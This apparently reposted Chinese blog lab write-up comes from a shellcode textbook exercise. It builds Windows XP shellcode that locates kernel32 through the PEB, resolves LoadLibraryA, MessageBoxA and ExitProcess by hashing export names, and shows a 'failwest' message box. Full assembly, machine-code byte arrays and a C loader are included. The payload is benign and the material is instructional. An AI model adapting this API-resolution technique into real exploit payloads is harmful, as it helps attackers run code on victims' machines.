3.5 动态定位shellcode

一、实验目的

        自动定位API函数的地址,编写能实现弹出消息框并显示“failwest”的shellcode。

二、实验环境

        windows XP、VC6.0、Ollydbg

三、shellcode的加载与调试

        shellcode的常见形式就是用转义字符把机器码存在一个字符数组中。我们可以将3.2实验CSDN的shellcode的机器码存在字符数组中,如下:

\x66\x81\xEC\x40\x04   //sub sp,0x440
x33\xDB                //xor ebx,ebx
\x53                   //push ebx
\x68\x77\x65\x73\x74   //push 0x74736577
\x68\x66\x61\x69\x6C   //push 0x6C696166
\x8B\xC4               //mov eax,esp
\x53                   //push ebx
\x50                   //push eax
\x50                   //push eax
\x53                   //push ebx
\xB8\xEA\x07\xD5\x77   //mov eax,0x77D507EA
\xFF\xD0               //call eax 
\x53                   //push ebx
\xB8\xFA\xCA\x81\x7C   //mov eax,0x7C81CAFA
\xFF\xD0               //call eax

        汇编语言变为机器码的做法:可以将汇编代码在编译器中生成PE文件,再用Ollydbg打开,找到相应的代码,即可提取机器码。

        此外,由于shellcode需要漏洞程序已经初始化好了进程空间和资源等,故往往不能单独运行。为了能在实际运行中调试这样的机器码,我们可以使用以下一段简单的代码来装载shellcode:

#include <stdio.h>
#include <windows.h>

char shellcode[]="x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0";

void main()
{
	LoadLibrary("user32.dll");
	_asm
	{
		lea eax,shellcode
		push eax
		ret
	}
}

        注:运行此段shellcode首先要装载user32.dll,不然,会出现以下情况:

     

        怎样发现需要装载user32.dll的?在Ollydbg中运行错误生成的PE文件,可得:

四、动态定位APId地址的shellcode

        为了实现弹出消息框并显示“failwest”,需要使用如下API函数:

(1)MessageBoxA:位于user32.dll中,用于弹出消息框;

(2)ExitProcess:位于kernel32.dll中,用于正常退出程序;

(3)LoadLibrary:位于kernel32.dll中。

        并不是所有的程序都会装载user32.dll,故,在调用MessageBoxA之前,需要先使用LoadLibrary(“user32.dll”)装载其所属的动态链接库。为保证shellcode尽可能短,一般会对所需API函数名进行hash运算,在搜索导出表时对当前遇到的函数名同样进行hash运算,只要比较hash所得的摘要(digest),即可判断该函数是不是我们所需的AP函数。

        本实验采用的hash函数的C代码如下:

#include <stdio.h>
#include <windows.h>

DWORD GetHash(char *fun_name)
{
	DWORD digest=0;
	while(*fun_name)
	{
		digest=((digest<<25)|(digest>>7));
		digest+= *fun_name;
		fun_name++;
	}
	return digest;
}
main()
{
	DWORD hash;
	hash=GetHash("MessageBoxA");
	printf("result of hash is %.8x\n",hash);
}

        运行效果,如下图所示:
       

        API函数及hash后的摘要如表所示:

API函数及hash后的摘要
API函数名 经过hash运算得到的摘要
MessageBoxA 0x1e380a6a
ExitProcess 0x4fd18963
LoadLibrary 0x0c917432

        在将hash压入栈中之前,需要将增量标志DF清零。因为当shellcode利用异常处理机制植入时,往往会引起标志位变化,使得shellcode的字符串处理方向发生变化而产生错误。

        将上述hash结果压入栈中,并用一个寄存器标识位置,以便搜索AP函数:

CLD                             // 清空标志位DF
push 0x1e380a6a				    // 压入 MessageBoxA 字符串的hash
push 0x4fd18963				    // 压入 ExitProcess 字符串的hash
push 0x0c917432 			    // 压入 LoadLibraryA 字符串的hash
mov esi, esp				    // 指向栈中存放LoadLibraryA的 hash 地址
lea edi, [esi - 0xc]	        // 用于存放API函数的地址

         抬高栈顶,保护shellcode不会被破坏:

xor ebx, ebx  //抬高栈顶
mov bh, 0x04
sub esp, ebx

        定位kernel32.dll代码:

mov ebx, fs:[edx + 0x30]		// FS得到当前线程环境块TEB,TEB+0x30是进程环境块 PEB
mov ecx, [ebx + 0x0c]  
                      // PEB+0x0c是PEB_LDR_DATA结构体指针存放这已经被进程加载的动态链接库的信息
mov ecx, [ecx + 0x1c]
//PEB_LDR_DATA+0x1c 指向模块初始化链表的头指针InInitalizationOrderModuleList,
//第一个节点就是ntdll.dl
mov ecx, [ecx]				    // 第二个就是kernel32.dll
mov ebp, [ecx + 0x08]			// ebp即kernel32.dll基地址
            

        在导出表中搜索API函数的逻辑:

          最终代码如下:

#include <stdio.h>
#include <windows.h>

void main()
{
	_asm
	{       // 将要调用的函数hash值入栈保存
			CLD                             // 清空标志位DF
			push 0x1e380a6a				    // 压入 MessageBoxA字符串的hash
			push 0x4fd18963				    // 压入 ExitProcess字符串的hash
			push 0x0c917432 			    // 压入 LoadLibraryA字符串的hash
			mov esi, esp				    // 指向栈中存放LoadLibraryA的hash地址
			lea edi, [esi-0xc]	        // 存放所需API函数地址
 
			// 抬升栈顶
			xor ebx, ebx
			mov bh, 0x04
			sub esp, ebx
 
			// 将指向user32.dll字符串的指针入栈
			mov bx, 0x3233 
			push ebx                        // 压入字符'32'
			push 0x72657375                 // 压入字符 'user'
			push esp                        //ESP指向user32.dll字符串
			xor edx, edx
 
			// 查找 kernel32.dll 的基地址
			mov ebx, fs:[edx+0x30]		// FS指向TEB,TEB+0x30指向PEB                                      
			mov ecx, [ebx+0x0c]			// PEB_LDR_DATA结构体指针
			mov ecx, [ecx+0x1c]			// 链表第一个节点ntdll.dll
			mov ecx, [ecx]		        // 链表第二个节点kernel32.dll
			mov ebp, [ecx+0x08]			// ebp即kernel32.dll基地址
            
			// 判断当前正在定位的API是否为MessageBoxA函数
		find_lib_funcs :
			lodsd					      // 将[esi]中的4字节 传到eax中
			cmp eax, 0x1e380a6a 	      // 比较 MessageBoxA 字符串的hash值
			jne find_funcs                // 如果不相等则继续查找
			xchg eax, ebp				  // 记录当前hash值
			call[edi-0x8]                 // 调用LoadLibraryA
			xchg eax, ebp				  // 还原当前hash值,且把ebp更新为user32.dll的基地址
        
		    // 在PE文件中查找相应的API函数
		find_funcs :
			pushad					        // 保存寄存器环境
			mov eax, [ebp+0x3c]			    // 指向PE头
			mov ecx, [ebp+eax+0x78]		    // 导出表的相对偏移地址(RVA)
			add ecx, ebp				    // 导出表虚拟地址(VA)
			mov ebx, [ecx+0x20]			    // 导出函数名称表的相对偏移地址(RVA)
			add ebx, ebp				    // 导出函数名称表内存虚拟地址(VA)
			xor edi, edi				    // 初始化计数器
 
            // 循环读取导出表函数
		next_func_loop :
			inc edi					        // 函数计数器+1
			mov esi, [ebx+edi*4]		    // 当前函数名的相对偏移地址(RVA)
			add esi, ebp				    // 当前函数名的内存虚拟地址(VA)
			cdq;					        
								            
            // 计算hash值
		hash_loop:					        // 循环得到当前函数名的hash
			movsx eax, byte ptr[esi]		// 得到当前函数名称 第esi的一个字母
			cmp al, ah				        // 比较到达函数名最后的0没有
			jz compare_hash				    // 函数名hash 计算完毕后跳到 下一个流程
			ror edx, 7				        // 循环右移7位
			add edx, eax				    // 累加得到hash
			inc esi					        // 计数+1 得到函数名的下一个字母
			jmp hash_loop				    // 循环跳到 hash_loop
 
            // hash值的比较
		compare_hash :						
			cmp edx, [esp+0x1c]			// 比较目标函数名hash和当前函数名的hash
			jnz next_func_loop	        // 如果 不等于 继续下一个函数名
			mov ebx, [ecx+0x24]			// 导出表中函数序号表的相对偏移地址(RVA)
			add ebx, ebp			    // 导出表中函数序号表的虚拟地址(VA)
			mov di, [ebx+2*edi]			// 当前函数的序号
			mov ebx, [ecx+0x1c]			// 导出表中函数地址表的相对偏移位置(RVA)
			add ebx, ebp			    // 导出表中函数地址表的虚拟位置(VA)
			add ebp, [ebx+4*edi]		// 导出表中当前函数的相对偏移地址 
							   // 循环依次得到kernel32.dll中的 LoadLibraryA  ExitProcess
								            // 和user32.dll中的 MessageBoxA
 
			xchg eax, ebp				    // 把函数地址放入eax中
			pop edi			 // pushad中最后一个压入的是edi,用于存放的三个函数地址的栈空间
			stosd					        // 把找到函数地址出入edi对应的栈空间
			push edi				        // 继续压栈平衡栈
			popad					        // 还原环境
			cmp eax, 0x1e380a6a			    // 比较是否是 MessageBoxA 函数,如果是说明全部函数已经找齐,可以调用函数执行功能
			jne find_lib_funcs
            
			// 下方的代码,就是弹窗
		func_call :			
		    xor ebx,ebx		// 将 ebx 清0
		    push ebx
		    push 0x74736577	
		    push 0x6C696166 // 压入“failwest”
		    mov eax,esp		// failwest的载入地址
		    
		    // 下面就是将MessageBox的参数压栈
		    push ebx		
		    push eax	
		    push eax		
		    push ebx		
			
			call[edi - 0x04]			    // 调用	MessageBoxA
			push ebx
			call[edi - 0x08]			    // 调用 ExitProcess
			nop
			nop
			nop
			nop
	}
}

        可以直接编译执行:

        也可以将shellcode变为机器代码,以数组字符的形式存放:

char shellcode[] = 
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63"
"\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7"
"\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2"
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD"
"\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C"
"\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34"
"\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0"
"\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
"\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D"
"\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66"
"\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

        用前边的shellcodej加载程序单独加载运行:

#include<stdio.h>
#include<windows.h>
char shellcode[] = 
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63"
"\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7"
"\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2"
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD"
"\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C"
"\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34"
"\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0"
"\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
"\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D"
"\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66"
"\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
   
void main()  
{
	_asm
	{
		lea eax,shellcode
		push eax
		ret
	}
}

        运行结果:

猜你喜欢

转载自blog.csdn.net/qq_55202378/article/details/126130256
3.5